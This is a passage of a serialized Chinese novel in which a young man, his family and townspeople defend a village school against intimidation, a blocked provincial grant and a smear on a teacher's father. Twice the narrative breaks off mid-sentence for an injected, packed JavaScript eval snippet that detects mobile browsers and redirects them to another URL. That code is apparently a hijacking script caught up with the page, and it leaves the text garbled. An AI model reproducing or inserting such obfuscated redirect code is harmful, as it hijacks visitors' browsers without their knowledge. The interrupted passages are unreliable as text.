张静轩握紧小刀。刀身冰凉，但麻绳缠裹处，有手掌摩挲出的温润。 “谢谢您。” 秦怀安点点头，转身要走，又停住：“还有件事。陈继业在逃，他手下还有几个漏网之鱼。你们……还是要小心。” “我明白。” 老人走了，佝偻的背影在夕阳里，像一株倔强的老松。 张静轩在院子里又站了很久，直到暮色四合。祠堂里亮起了灯，昏黄的光从窗户透出来，在地上投出一个个方正的格子。 他想起大哥的信，想起秦怀安的话，想起这三年来青石镇的暗流与光明。忽然觉得，自己站在这光与暗的交界处，像一枚棋子，又像一枚种子。 棋子要被推动，种子要破土。 而他，选择做种子。 回到家，书房还亮着灯。张老太爷正在看账本，但神色轻松。见儿子进来，放下笔。 “静轩，省城来了公文。”他将一份文件推过来，“教育厅的表彰令，还有……一笔拨款。” 张静轩接过文件。表彰令上列了张家、卢家、陈老秀才的义举，也表彰了苏宛音、程秋实的教学。拨款数额不小，足够学堂用三年。 “这是好事。” “是好事。”张老太爷点头，“但树大招风。学堂得了名，得了利，难免有人眼红。往后……还是要谨慎。” “我明白。”张静轩说，“爹，秦先生明天要走，去北边。” 张老太爷沉默片刻：“他是个义士。该去。”他从抽屉里取出一个钱袋，“这个，你明天给他。路上用得着。” 张静轩接过。钱袋沉甸甸的，里面是银元。 “另外，”张老太爷站起身，走到那幅《山河图》前，“你大哥的信，我回了。告诉他青石镇的事，告诉他你长大了。”他转过身，“静轩，你大哥说，等打跑了鬼子，他就回来。到时候……你们兄弟俩，要把学堂办得更好。” 张静轩重重点头。他想象着大哥回来的那天，想象着兄弟俩站在祠堂前，看孩子们读书的样子。那画面，光想想，心里就暖。 夜里，他躺在床上，辗转难眠。窗外月光很好，洒在地上，像铺了一层银霜。他起身，点亮油灯，摊开纸笔。 该给大哥写封信了。 “大哥：见字如面。青石镇事已了，学堂安好。弟近日经历甚多，始知家国二字之重。秦先生明日北上，或能见兄。望兄保重，待山河无恙，归家团圆。弟静轩谨上。” 写得很短，但字字用心。他将信折好，放在枕下。明天托秦怀安带去。 吹熄灯，重新躺下。黑暗中，他握着那把榆木弓，指尖摩挲着刻字：守静笃，观复明。 守静，是在荣耀中清醒。观复，是在变化中看清。 而现在，他还要做第四件事：前行，不停。 窗外传来打更声，三更天了。 远处青云河的水声潺潺，永不停歇。而河上的黑船已不见，暗影已散去，只有月光照着水面，波光粼粼，像一条银色的路，通向远方。 张静轩闭上眼睛。他知道，从今夜起，青石镇的故事，翻开了新的一页。 而他的故事，也才刚刚开始。 黑暗中，他握紧了弓。掌心那片陶片已收好，但那股冰凉坚硬的触感，已刻在记忆里，像一枚烙印，印在这个多事之秋。 而秋天过后，是冬天。 冬天很冷，但人心暖着，灯亮着，路走着，就能取暖。 就能等待春天。 春天会来的。 大哥会回来的。 学堂会更好的。 一定会的。 他这样想着，沉沉睡去。月光透过窗棂，照在他脸上，那张还带着稚气的脸，在睡梦中，有种安宁而坚定的光。 9. 第九章 冬雨来信 第一场冬雨来得很突然。 清晨还是晴好的天，晌午就阴了。铅灰色的云从青云山顶压下来，低低地悬在青石镇上空。风起了，带着河水的湿气和山间的寒，吹得祠堂外的老槐树枝条乱舞。 张静轩站在学堂门口，望着天色。学生们刚放学，三三两两地跑进雨里，有的顶着书包，有的缩着脖子。水生跑过来，把一片桐油布塞给他：“静轩哥，这个给你挡雨。” “你怎么办？” “俺跑得快！”水生咧嘴一笑，转身冲进雨幕，身影很快消失在巷口。 雨点开始落下来，砸在青石板上，溅起细密的水花。张静轩撑开桐油布，往家走。街上行人匆匆，店铺忙着收摊，早点铺的老板娘正把蒸笼往屋里搬，热气混着雨雾，白蒙蒙一片。 路过镇公所时，他看见门口停着一辆马车，帘子紧闭。车窗里似乎有双眼睛在往外看，但雨幕太密，看不清。张静轩加快脚步，心里却想起秦怀安的叮嘱：陈继业在逃，他手下还有几个漏网之鱼。 回家路上，雨越下越大。桐油布不大，遮不住全身，裤脚很快湿了。张静轩拐进一条小巷想抄近道，刚走几步，就听见身后有脚步声——不紧不慢，隔着十来步远。 他警觉地回头。雨幕里，一个人影站在巷口，穿着蓑衣，戴着斗笠，看不清脸。见他回头，那人转身走了，消失在拐角。 是巧合？还是…… 张静轩握紧了桐油布下的手。怀里揣着秦怀安送的那把小刀，刀柄的麻绳被体温焐得温热。 回到家时，浑身已经湿透。福伯忙迎上来：“小少爷，快换衣裳，小心着凉。”又压低声音，“老爷在书房，有客人。” “谁？” “省城来的，姓沈。” 张静轩心头一动。沈特派员？他怎么会来？ 换了干衣裳，他轻手轻脚走到书房外。门虚掩着，里面传出说话声。 “……陈继业确实在逃，但线报说，他已经离开本省。”是沈特派员的声音，“我们追查到他最后出现的地方，是邻省的码头。估计是走水路往南边去了。” “南边？”张老太爷的声音。 “对。上海，或者广州。那些地方租界多，容易藏身。”沈特派员顿了顿，“不过，他手下几个小喽啰还在本地活动。我们抓了两个，还有三个在逃。其中一个……可能就在青石镇附近。” 书房里静了静。雨声透过窗户传进来，淅淅沥沥。 “张公，”沈特派员的声音压低了些，“令郎这段时间，最好少出门。尤其是一个人。” “我明白。”张老太爷说，“静轩他……” “他在这件事里，露了脸。秦怀安交出的证据，是他找到的。陈继业那边的人，恐怕已经知道了。” 张静轩站在门外，手心里出了汗。他想起巷口那个蓑衣人，想起那双隔着雨幕的眼睛。 “还有件事。”沈特派员说，“省教育厅的拨款，下个月就能到。但最近省城有些传言，说青石镇学堂‘来历有疑’，‘牵扯旧案’。虽然王秉章倒了，但保守势力还在。这笔钱……可能会有人做文章。” “怎么做？” “拖，卡，或者……要求‘重新审计’。”沈特派员叹气，“新式学堂本来就招人眼红，你们这次又闹得这么大。有些人，面上不说，心里记着呢。” 书房里又是一阵沉默。雨声更急了，打在窗纸上，噗噗作响。 张静轩轻轻推门进去。张老太爷和沈特派员都抬起头。沈特派员还是那身中山装，但面色疲惫，眼下有青影。 “沈叔叔。”张静轩行礼。 沈特派员点点头：“静轩，长高了。”他打量着他，“刚才的话，你听见了？” “听见了。” “怕吗？” 张静轩摇头：“不怕。但想知道，我们能做什么。” 沈特派员眼中闪过一丝赞许：“眼下，什么都别做。该上学上学，该办学办学。那些暗处的人，越动越容易露出马脚。”他从公文包里取出一张照片，“这个人，你见过吗？” 照片上是个三十来岁的汉子，方脸，浓眉，左边眉骨上有道疤。张静轩仔细看了看，摇头：“没见过。” “他叫马三，陈继业的得力手下，专管‘脏活’。”沈特派员收起照片，“昨天有人在青石镇附近看见他。如果见到，立刻告诉我——不要自己上前。” 张静轩点头。照片上那道疤，像条蜈蚣，趴在眉骨上，让人过目不忘。 沈特派员又坐了一会儿，便起身告辞。雨还在下，他披上雨披，钻进马车。马蹄声在雨里显得沉闷，很快远去了。 张老太爷站在门口，望着雨幕，久久不语。 “爹，”张静轩轻声说，“我会小心的。” “光小心不够。”张老太爷转身，走回书房，“从明天起，福伯接送你上学。放学就回家，别在外逗留。”他顿了顿，“还有，学堂那边……有些事，让卢明远他们多担着。你毕竟是孩子。” 这话说得委婉，但张静轩听懂了——父亲是让他暂时退到后面，避避风头。 “爹，我不怕……” “我知道你不怕。”张老太爷打断他，“但有些事，不是怕不怕的问题。是值不值。”他在书案后坐下，“你现在要做的，是读书，是长大。等真长大了，有的是事让你做。” 张静轩还想说什么，但看着父亲疲惫的神情，终究没开口。他知道，父亲说的是对的。但他也知道，有些事，一旦开始了，就退不回去了。 夜里，雨停了。月亮从云缝里露出来，清清冷冷地挂在半空。张静轩躺在床上，睁着眼看帐顶。窗外有滴水声，嗒，嗒，嗒，像更漏。 他想起巷口那个蓑衣人，想起照片上马三脸上的疤，想起沈特派员说的“有些人记着呢”。这些像一张网，在黑暗里张开，网眼细密，网绳坚韧。 但他不是鱼。他是张静轩。 他坐起身，点亮油灯，摊开纸笔。该做点什么了。 第一张纸，画的是青石镇的地图。祠堂、张家、镇公所、码头、关帝庙废墟、主要的街道巷口……一一标注。这是他从大哥笔记里学来的——要把地形记在心里。 第二张纸，列的是人名。赵全福（已抓）、陈继业（在逃）、马三（在逃）、另外两个喽啰（在逃）……还有王秉章背后的省议会要员（已倒台），以及可能还在的“保守势力”。 第三张纸，写的是时间线。三年前秦先生案，大哥调查，参军；三年后办学堂，遇阻，反击，破案；现在——余波未平，暗影仍在。 三张纸摊在桌上，油灯的光跳动着，照着那些字迹和线条。张静轩看着，脑海里渐渐清晰。 敌人还在，但换了方式。从明面的打压，变成暗处的窥伺。从权力的压制，变成个人的威胁。方式变了，但目的没变——毁掉学堂，或者，毁掉坚持办学的人。 而他，现在成了目标之一。 但他不是一个人。有父亲，有福伯，有卢明远，有苏宛音和程秋实，有周大栓李铁匠那些街坊，还有学堂里二十八个孩子。 想到孩子们，他心里一暖。水生憨厚的笑容，小莲怯怯的眼神，铁蛋倔强的神情……这些，都是他要守护的。 吹熄灯，重新躺下。黑暗中，他握紧了怀里的小刀。刀身冰凉，但麻绳缠裹处，有体温的暖意。 第二天，雨过天晴。天空洗得碧蓝，阳光亮得晃眼。青石镇像刚出浴的姑娘，清新，润泽。青石板路还湿着，倒映着蓝天白云，踩上去有轻微的水声。 福伯果然一早就等在门外。老管家今日腰间又别了那根短棍，眼神警惕地扫视着四周。 “小少爷，昨夜……”他压低声音，“镇东头出了点事。” “什么事？” “陈老秀才家的柴房，夜里被人撬了。”福伯说，“没丢东西，但翻得乱七八糟。陈老秀才今早才发现，吓了一跳。” 张静轩心头一紧：“冲着陈老先生去的？” “不好说。”福伯摇头，“也可能是冲着学堂——陈老先生捐了书，写了字，大家都知道他支持学堂。” 两人往学堂走。路过陈老秀才家时，门开着，老人正在院子里收拾柴火，脸色不太好。 “陈老先生。”张静轩走过去。 陈老秀才抬头，勉强笑了笑：“是静轩啊。没事，就是些柴火，乱了就乱了。” “报警了吗？” “报了。镇上的老刘来看了一眼，说可能是野狗扒的。”陈老秀才叹气，“我知道不是野狗——门闩是被撬开的。” 张静轩看着老人花白的头发，心里不是滋味。陈老秀才古板了一辈子，临老想通了些，支持新学，却惹来这种事。 “陈老先生，您这几天……小心些。” “我晓得。”陈老秀才摆摆手，“一把老骨头了，不怕。倒是你们，年轻，要当心。” 离开陈家，张静轩一路沉默。福伯也沉默，但眼神更警觉了。 到学堂时，气氛比往日凝重。苏宛音和程秋实在说话，见他们来，停下话头。 “静轩，”苏宛音走过来，“陈老先生家的事，听说了？” 张静轩点头：“是冲着学堂来的？” “可能。”程秋实推了推眼镜，“昨晚不止陈家。卢明远家的货栈，也被人扔了石头，砸坏了两扇窗户。” 卢明远家的货栈在镇西，专走省城货运。卢家支持办学，也是公开的事。 “卢大哥没事吧？” “人没事，但货栈伙计说，扔石头的人跑得快，没看清脸。”程秋实压低声音，“静轩，你说……是不是陈继业的人？” 张静轩想起照片上马三的疤，想起巷口那个蓑衣人。他点点头：“可能。” “那怎么办？”苏宛音脸色苍白，“他们要是冲着我们来，孩子们……” “别慌。”张静轩深吸一口气，“他们不敢明着来。扔石头，撬柴房，都是试探，也是恐吓。咱们越慌，他们越得意。” 这话说得冷静，连他自己都有些意外。苏宛音和程秋实看着他，眼神里有惊讶，也有欣慰。 “静轩说得对。”程秋实点头，“咱们该干嘛干嘛。学堂照开，课照上。但要加强防备——晚上留人守夜，门窗检查仔细。” 正说着，卢明远匆匆进来，手里拿着一封信：“宛音，秋实，静轩——省城来信了。” 信是卢父亲笔。说省教育厅的拨款，果然被卡住了。理由是“需要进一步核实办学资质和资金用途”。同时，省城几家报纸开始出现“不和谐声音”，质疑青石镇学堂“背景复杂”，暗示办学“别有用心”。 “这是要拖死我们。”程秋实脸色难看，“没有拨款，先生的束脩发不出，学堂的日常开销也……” “束脩我可以不要。”苏宛音说，“日常开销，大家凑一凑，总能撑过去。” “撑得了一时，撑不了一世。”卢明远摇头，“而且，这不是钱的问题，是态度问题。省里这个态度传出去，谁还敢支持学堂？谁还敢送孩子来？” 这话说得沉重。所有人都沉默了。 张静轩看着窗外。阳光正好，院子里那棵老槐树叶子黄了大半，风一吹，簌簌地落。几个早到的孩子正在扫落叶，扫帚划过地面，沙沙作响。 “卢大哥，”他忽然开口，“令尊在省城，还能不能活动？” “能是能，但效果有限。”卢明远苦笑，“王秉章背后那个人虽然倒了，但保守派的势力盘根错节。我爹一个商人，说不上多少话。” “那记者呢？林记者那边，能不能再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140651|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写篇文章？” “我已经写信了。”卢明远说，“但报纸也要顾忌，不能总盯着一个地方说事。” 又陷入沉默。阳光从窗户照进来，在地上投出明亮的光斑。但张静轩觉得，那光里也有阴影。 上午的课，照常进行。但张静轩能感觉到，苏宛音和程秋实都有些心不在焉。孩子们似乎也察觉到了什么，比往日安静。 课间时，水生凑过来：“静轩哥，是不是出事了？” “没事。”张静轩摸摸他的头，“好好上课。” 水生看着他，眼神清澈：“静轩哥，俺爹说，要是学堂有难处，俺们可以凑钱。虽然不多，但……” 张静轩心头一热：“不用。学堂有办法。” 水生点点头，没再问，但眼神里的担忧，藏不住。 放学时，张静轩特意等所有孩子都走了，才和福伯离开。走出祠堂，他四下看了看——街道如常，行人如常。但他总觉得，有双眼睛在暗处看着。 回到家，书房里有人说话。是周大栓和李铁匠，还有卖豆腐的王婶、开杂货铺的刘掌柜。见张静轩进来，都站起身。 “小少爷。” “周叔，李叔，王婶，刘掌柜。”张静轩行礼，“诸位这是……” “我们听说，省里的拨款被卡了。”周大栓搓着手，“学堂不能倒。我们几个商量了，凑了点钱，先应应急。” 他从怀里掏出一个布包，放在桌上。布包解开，里面是些银元、铜板，还有些碎银子。不多，但叠得整整齐齐。 李铁匠也掏出一个布包：“这是我的。铁蛋上学，不能白上。” 王婶、刘掌柜也拿出钱来。不多，但都是心意。 张老太爷看着这些钱，眼眶红了：“诸位，这……这怎么使得……” “使得。”李铁匠声音粗哑，“张公，咱们都是粗人，不懂大道理。但知道，学堂是好事。孩子能识字，将来有出息。就冲这个，钱该出。” 周大栓点头：“小少爷为了学堂，冒了那么大的险。咱们出点钱，算什么。” 张静轩看着桌上那些钱，心里翻江倒海。这些钱，可能是周大栓跑船挣的血汗钱，是李铁匠一锤一锤打出来的，是王婶一块豆腐一块豆腐卖出来的，是刘掌柜一分一厘攒下来的。 都是辛苦钱，也都是良心钱。 “诸位叔伯婶娘，”他深深鞠躬，“这钱，学堂记下了。等省里拨款下来，一定还。” “还不还的，再说。”王婶抹抹眼角，“先把学堂保住。” 众人又说了会儿话，便告辞了。张老太爷送他们到门口，回来时，在椅子上坐了许久，没说话。 “爹，”张静轩轻声说，“百姓心里有杆秤。” “是啊。”张老太爷长长吐出一口气，“这杆秤，比官府的红头文件，比省里的拨款，都重。” 夜里，张静轩又在灯下摊开纸笔。今天的事，要记下来。 “冬月初三，省拨款被卡。周大栓、李铁匠等街坊凑钱助学。民心在，学堂不倒。” 写完这句，他停笔。窗外月色如水，清冷冷地照着庭院。远处传来打更声，二更天了。 他想起大哥信里的话：“挺直脊梁，守住本心。” 脊梁要挺直，心要守住。但路，该怎么走？ 省里卡拨款，是软刀子。陈继业的人在暗处，是硬刀子。软硬兼施，是要逼他们放弃。 但能放弃吗？不能。 二十八个孩子在等着上学，街坊们在凑钱支持，苏宛音程秋实在不拿束脩教书，卢明远在四处奔走……所有人都在坚持，他怎么能退？ 可该怎么破局？ 张静轩看着油灯跳动的火苗，忽然想起一个人——林觉民。那个《新报》的记者，笔锋犀利，敢说话。他的文章，能影响舆论。 也许……可以从舆论入手？ 省里卡拨款，总要有个理由。如果把这个理由公之于众，让全省的人评评理，会怎样？ 那些“背景复杂”“别有用心”的指控，如果摆在阳光下，经得起推敲吗？ 还有街坊凑钱助学的事，如果写出来，让全省的人看看——在青石镇这样的小地方，百姓是如何支持新学的，那些卡拨款的官员，脸上挂得住吗？ 思路渐渐清晰。他重新铺纸，开始写信。 “林记者台鉴：青石镇一别，已近旬日。学堂运转如常，学生日有进益。然省教育厅拨款被卡，理由牵强。本地百姓闻之，慷慨解囊，凑钱助学。此事若见报，或可让全省知晓：新学之兴，在民心，不在红头文件。盼执笔为公，再助一力。张静轩谨上。” 信写得很克制，但意思明白。他吹干墨迹，折好，放进信封。明天让福伯寄出去。 做完这些，他吹熄灯，躺下。黑暗中，思绪却还在转。 光靠舆论还不够。省里那些人，脸皮厚，舆论压力可能有用，也可能没用。还得有别的办法。 比如……找沈特派员？他是警务厅的人，不归教育厅管。如果能通过他，把情况反映给更高层…… 或者，联合其他也在办学堂的地方？青石镇不是唯一办新学的，如果多个地方一起发声，力量会不会更大？ 越想越觉得，前路虽难，但不是无路可走。关键是要动脑子，要联合，要坚持。 窗外传来猫头鹰的叫声，咕咕，咕咕，在寂静的夜里传得很远。张静轩闭上眼睛，慢慢睡着了。 梦里，他看见大哥。大哥穿着军装，站在一片开阔地上，身后是连绵的青山。他回头，对张静轩笑：“静轩，好好守着学堂。等哥回来，咱们一起教孩子。” 他重重点头。 醒来时，天还没亮。窗外有微光，是黎明前最暗的时刻。张静轩坐起身，看着窗外的天色，心里忽然很平静。 10. 第十章 泥淖中的足迹 冬雨过后的青石镇，空气清冽如刀。张静轩推开院门时，哈出的白气在晨光里凝成一团团雾。福伯候在门外，今日腰间除了短棍，还多挂了样东西——一个牛皮缝的袋子，鼓鼓囊囊的，不知装着什么。 “小少爷，”福伯压低声音，“昨儿夜里，又出事了。” 张静轩心头一紧：“谁家？” “不是谁家。”福伯四下看了看，“是祠堂。后墙那片新刷的石灰，被人泼了粪。” 粪？张静轩一愣。这手段，比扔石头、撬柴房更下作，也更恶毒。 两人匆匆往学堂走。街上行人还少，早点铺子刚生起火，炊烟袅袅。路过陈老秀才家时，门关着，但门缝里隐约有灯光——老人大概也知道了，睡不着。 到祠堂时，天色刚蒙蒙亮。后墙那片新刷的白石灰上，黄褐色的污秽触目惊心，臭气在清冷的空气里弥漫。苏宛音和程秋实已经站在那里，脸色铁青。卢明远也在，正用铁锨铲土盖那些污秽。 “什么时候发现的？”张静轩问。 “天没亮，守夜的老李头发现的。”程秋实声音发颤，“他说听见动静，起来看时，人已经跑了。只看见个背影，穿着蓑衣，往镇西方向去了。” 镇西。陈继业货栈的方向。 苏宛音转过身，眼睛红着，但没哭：“静轩，他们这是……要毁了学堂的名声。” 张静轩明白她的意思。泼粪，不只是恶心，更是一种羞辱——要让学堂在镇上人心里，变成肮脏、晦气的地方。尤其对那些本就观望、犹豫的家长，这招很毒。 “清理干净。”他说，“用石灰水再刷一遍。刷厚些。” 卢明远点头：“我已经让人去石灰窑了。”他顿了顿，“但这事……得有个说法。不然传出去，不好听。” “说法？”张静轩冷笑，“说法就是，有人见不得咱们好，用最下作的手段。” 正说着，周大栓和李铁匠也赶来了。看见墙上的污秽，两人都变了脸色。 “他娘的！”李铁匠骂了一句，夺过卢明远手里的铁锨，“我来！” 周大栓搓着手：“小少爷，这事……不能就这么算了。” “当然不能。”张静轩说，“周叔，李叔，你们先去各家各户走走，把话说清楚——就说有人眼红学堂，使坏。让街坊们心里有数。” “明白！” 两人匆匆走了。苏宛音看着他们的背影，轻声道：“静轩，你这样……会不会把他们也卷进来？” “他们已经卷进来了。”张静轩看着那片污秽，“从他们凑钱助学那天起，就卷进来了。现在要做的，是让他们知道，咱们不会退，也不能退。” 石灰水很快送来了。几个人动手刷墙。刺鼻的石灰味混着残余的臭气，熏得人眼睛发涩。但没人停手，一刷，又一刷，白浆覆盖了污秽，也覆盖了昨夜的屈辱。 太阳升起时，墙刷好了。白生生的，在晨光里晃眼。张静轩站远了些看——那片白，像一块巨大的纱布，盖住了伤口，但伤口还在。 上午的课，照常进行。但孩子们显然都听说了，眼神里带着不安。水生几次欲言又止，小莲低着头，不敢看人。 苏宛音放下课本，走到讲台前：“同学们，今天上课前，老师有句话说。” 孩子们抬起头。 “昨夜，有人在学堂后墙泼了脏东西。”苏宛音的声音很平静，“为什么？因为他们怕。怕你们读书，怕你们明理，怕你们将来有出息。” 她顿了顿，目光扫过每一张脸：“老师小时候，也被人欺负过。因为我是女孩，却想读书。有人往我书包里塞虫子，有人在我座位上倒墨水。但我没怕。因为我知道，他们越欺负，越说明他们怕我——怕我读了书，比他们强。” 课堂里很静。孩子们的眼睛亮起来。 “现在，也一样。”苏宛音说，“他们泼粪，是因为怕你们。怕你们读了书，就不信他们的鬼话；怕你们明理，就不上他们的当。所以，咱们要更用力地读，更用力地学。等你们长大了，有出息了，这些人，连给你们提鞋都不配。” 这话说得硬气。孩子们挺直了腰板，读书声比往日更响。 张静轩坐在后排，看着苏宛音。这个看似柔弱的女子，骨子里有股他从未见过的刚硬。那是读书人的刚硬——可以弯腰，但脊梁不折。 课间时，水生跑到他身边：“静轩哥，俺爹说，让俺放学别走，他来找俺。” “为什么？” “不知道。”水生挠挠头，“但俺爹今早出门时，揣了把斧头。” 张静轩心头一沉。周大栓这是……要做什么？ 上午最后一节课是程秋实的国文。他今日讲的是岳飞的《满江红》。讲到“靖康耻，犹未雪；臣子恨，何时灭”时，声音激昂。孩子们跟着念，稚嫩的声音在堂内回荡，有种奇特的悲壮。 放学时，张静轩特意等到最后。周大栓果然来了，不是一个人，身后还跟着李铁匠和几个街坊，都是学生家长。每人手里都拿着家伙——锄头、扁担、铁锤。 “周叔，”张静轩迎上去，“你们这是……” “守夜。”周大栓声音粗哑，“从今儿起，咱们轮流守。看哪个龟孙子还敢来！” 李铁匠点头：“对！咱们明着来，看他们敢不敢明着干！” 张静轩看着这些黝黑粗糙的脸，心里翻涌。他想劝，但话到嘴边，又咽回去了。他知道，劝不住。这些汉子，认死理——你对他们好，他们记着；你欺负他们孩子，他们就跟你拼命。 “那……小心些。”他最终说，“别硬拼，有事喊人。” “晓得。”周大栓咧嘴一笑，“咱们就是守，不惹事。但要是有人敢来……”他掂了掂手里的斧头，“那就怪不得咱们了。” 家长们开始在祠堂四周布置。有人搬来稻草，铺在屋檐下；有人找来破锅，挂在树上——有动静就能敲响。周大栓和李铁匠商量着排班，谁守上半夜，谁守下半夜。 张静轩看着，忽然想起大哥笔记里的一句话：“民气可用，但需导之。” 这些街坊，有血性，有义气，但也容易冲动。得有人领着，别让他们走偏。 他走到周大栓身边：“周叔，守夜可以，但得立规矩。” “什么规矩？” “第一，只守不攻。有人来，敲锅示警，但别追。”张静轩说，“第二，两人一组，互相照应。第三，真有事，先去镇公所报官——虽然老刘不顶用，但流程得走。” 周大栓想了想，点头：“成！听小少爷的！” 规矩定了，街坊们各自准备。张静轩这才和福伯往家走。 路上，福伯低声说：“小少爷，刚才守祠堂的老李头说，他昨晚看见那个泼粪的人……左腿有点瘸。” 左腿瘸？张静轩想起沈特派员给的照片。马三脸上有疤，但没说腿瘸。 “还有别的特征吗？” “蓑衣，斗笠，看不清脸。但走路一高一低，老李头看得清楚。” 张静轩记在心里。回到张家，他立刻去书房，把特征写下来。刚写完，门外传来马蹄声。 是沈特派员的马车。 沈特派员今日没穿中山装，换了身便服，像个普通商人。但眼神里的锐利，藏不住。他走进书房，开门见山：“静轩，昨天那封信，我收到了。” 张静轩一愣：“信？” “给林记者的那封。”沈特派员从怀里掏出信，“福伯托人寄，我正好在邮局，就截下了。” 张静轩心头一跳：“沈叔叔，这……” “别急，我没看内容。”沈特派员把信放在桌上，“但我猜得到，你是想借舆论施压。” 张静轩点头。 “想法是好的，但时机不对。”沈特派员坐下，“陈继业的人还在活动，你现在把事闹大，他们会狗急跳墙。而且省里那些卡拨款的人，最恨的就是报纸——你这一登，他们更不会松口。” “那怎么办？”张静轩急了，“就这么等着？” “等，但要主动地等。”沈特派员从公文包里取出一份文件，“这是我查到的，陈继业在省城的几个关系网。其中一个，是教育厅的副厅长，姓郑。就是他在卡你们的拨款。” 张静轩接过文件。上面列着人名、职务、往来记录，密密麻麻。 “这个郑副厅长，和王秉章背后那位不是一派的，但目的相同——都不希望新学太盛。”沈特派员说，“但他有个弱点：好名。喜欢别人说他‘开明’‘有远见’。” 张静轩眼睛一亮：“您的意思是……” “你不是给林记者写信吗？改一改。”沈特派员说，“别写省里卡拨款，写青石镇百姓如何支持新学，写学堂如何艰难维持，写孩子们如何渴望读书——但要提一句，说‘省教育厅虽有波折，但相信会有开明之士主持公道’。这话，说到郑副厅长心坎里。” 张静轩明白了。这是给郑副厅长递梯子——让他既可以卡拨款立威，又可以在舆论压力下“主持公道”，赚个好名声。 “他会顺着梯子下来吗？” “会。”沈特派员肯定地说，“这些人，最会看风向。现在省城也不是铁板一块，新派势力在抬头。他卡拨款，是给保守派看；主持公道，是给新派看。两头不得罪，还能落个好名声。” 张静轩点头。官场这些弯弯绕，他不懂，但沈特派员懂。 “那泼粪的事……” “是马三干的。”沈特派员说，“我们抓到的喽啰交代，马三左腿有旧伤，是早年跑码头时摔的。平时看不出来，但阴雨天会瘸。” 果然是他。 “他在哪儿？” “还在青石镇附近。”沈特派员压低声音，“我们的人盯了两天，发现他藏身的地方——镇西十里，有个废弃的山神庙。” “为什么不抓？” “想放长线。”沈特派员说，“马三只是小角色，抓了他，陈继业那边会更警惕。我们想通过他，找到陈继业的藏身地。” 张静轩沉默了。放长线，意味着马三还会继续作恶。但沈特派员说得对，抓个小喽啰，解决不了根本问题。 “那……学堂这边？” “加强防备，但别打草惊蛇。”沈特派员说，“我已经安排了两个便衣，在学堂附近盯着。马三要是再敢来，当场抓住。” 心里有了底，张静轩松了口气。他把给林记者的信重写了一遍，按沈特派员的意思，改了措辞。写完，交给沈特派员。 “沈叔叔，这信……” “我亲自寄。”沈特派员收起信，“保证三天内见报。” 送走沈特派员，张静轩回到书房，摊开地图。镇西十里，山神庙。他用笔圈出来。那地方他知道——小时候跟大哥去采过药，庙早就塌了，只剩几堵断墙，荒得很。 马三藏在那里，是看中那儿偏僻，也看中那儿离陈继业的货栈近。 正想着，福伯匆匆进来：“小少爷，卢少爷来了，说有急事。” 卢明远走进来，脸色苍白，手里拿着一封信：“静轩，宛音她……她父亲的事，被人翻出来了。” “什么？” “省城有人给镇公所寄了举报信，说苏文渊是‘戊戌余孽’，苏宛音作为其女，不配当先生。”卢明远声音发抖，“信里还说，要彻底清查学堂所有先生的‘家世渊源’。” 张静轩接过信。信是打印的，没有落款，但措辞恶毒，句句诛心。 “谁寄的？” “查不到。但肯定是那些人——卡拨款不成，就来这招。”卢明远握紧拳头，“宛音她……她受不了这个。她父亲的死，一直是她的心结。” 张静轩想起苏宛音说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140652|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起父亲时的眼神，那种痛楚，深藏在平静之下。 “苏先生现在在哪儿？” “在学堂，程先生陪着。”卢明远说，“静轩，得想个办法。不然宛音她……可能会走。” 走？张静轩心头一紧。苏宛音要是走了，学堂就真垮了一半。 “我去看看。” 两人匆匆赶到学堂。祠堂里，苏宛音坐在讲台后，一动不动。程秋实在一旁，急得团团转。孩子们已经放学了，堂内空荡荡的，只有昏黄的光，从窗棂透进来。 “苏先生。”张静轩走过去。 苏宛音抬起头，眼睛红肿，但没哭。她手里攥着那封信，指节发白。 “静轩，”她声音嘶哑，“我……我想我该走了。” “走去哪儿？” “不知道。”苏宛音摇头，“但我不走，会连累学堂。我父亲的事……是洗不掉的。” “为什么要洗？”张静轩在她对面坐下，“苏先生，您父亲是维新党人，是为了救国。这有什么错？” “可他们……” “他们是他们，您是您。”张静轩打断她，“您父亲当年变法，是为了让中华民国强。您如今办学，是为了让孩子强。这有什么不同？” 苏宛音愣住了。 “苏先生，”张静轩继续说，“您说过，您父亲临死前让您去教书。为什么？因为他知道，变法失败了，但救国的路没断。一条路走不通，就换一条。办学，启民智，就是另一条路。” 他顿了顿，声音更坚定：“您现在要是走了，才是真对不起您父亲。他拼了命想做的事，您做到了。您该骄傲，不该逃。” 堂内静了很久。暮色从窗外漫进来，一点点吞噬着光线。苏宛音坐在昏暗中，身影单薄，但脊背慢慢挺直了。 “你说得对。”她终于开口，声音很轻，但清晰，“我不该逃。” 程秋实松了口气。卢明远眼眶红了。 “那这封信……”卢明远问。 “烧了。”苏宛音将信撕碎，扔进炭盆。火苗蹿起来，吞噬了那些恶毒的字句。“从今往后，谁再提我父亲的事，我就告诉他——我父亲是读书人，是为了这片山河死的。我，也是读书人，是为了这片山河活的。” 卢明远握着那封信，指节捏得发白。他想起师范学堂的图书馆，那个总坐在最里面靠窗位置的少女——苏宛音总是最后一个离开，走时会把桌椅摆正，把看完的书放回原处。 她父亲忌日那天，卢明远偶然看见她在校园后山的松林里，一个人呆坐到天黑，背影单薄得像片纸。那时他就想，这个女子心里有片海，深得能淹死所有苦难，也深得让人心疼。如今这片海又要起风浪，他不能站在岸上看着。 